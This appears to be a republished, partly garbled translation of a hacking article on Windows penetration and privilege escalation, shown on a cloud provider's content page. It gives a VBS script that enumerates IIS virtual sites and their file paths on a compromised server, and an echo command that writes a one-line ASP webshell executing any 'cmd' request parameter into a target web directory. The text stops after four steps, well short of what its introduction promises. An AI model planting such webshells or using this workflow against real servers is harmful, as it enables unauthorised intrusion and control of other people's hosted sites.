Summary of Windows penetration and Elevation of Privilege (1)

Source: Internet
Author: User

This article summarizes multiple techniques for Windows penetration and Elevation of Privilege, including: MSSQL query analyzer connection record clearing, VNC and Radmin elevation method, Cmd directory operation skills and Webshell Elevation of Privilege tips.

Route questions:

1. Read website configuration.

2. Use the following VBS:

 
 
  1. On Error Resume Next 
  2. If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then 
  3. MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs", 4096, "Lilo" 
  4. WScript.Quit 
  5. End If 
  6. Set objservice = GetObject("IIS://LocalHost/W3SVC") 
  7. For Each obj3w In objservice 
  8. If IsNumeric(obj3w.Name) Then 
  9. Set OService = GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name) 
  10. Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT") 
  11. If Err <> 0 Then WScript.Quit (1) 
  12. WScript.Echo Chr(10) & "[" & OService.ServerComment & "]" 
  13. For Each Binds In OService.ServerBindings 
  14. Web = "{ " & Replace(Binds, ":", " } { ") & " }" 
  15. WScript.Echo Replace(Split(Replace(Web, " ", ""), "}{")(2), "}", "") 
  16. Next 
  17. WScript.Echo "Path            : " & VDirObj.Path 
  18. End If 
  19. Next 

3. List iis_spy (Note: The ASPX and IISSPY methods must be supported: downgrade activeds. dll and activeds. tlb ).

4. Obtain the target site directory. You can use "echo ^ <% execute (request (" cmd ") % ^ >>> X: \ target directory \ X. asp or copy script file X: \ target directory \ X. asp is written into webshell like the target directory, or you can try the type command.

Possible website directory (Note: generally virtual host type ):

Data/htdocs. website/


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.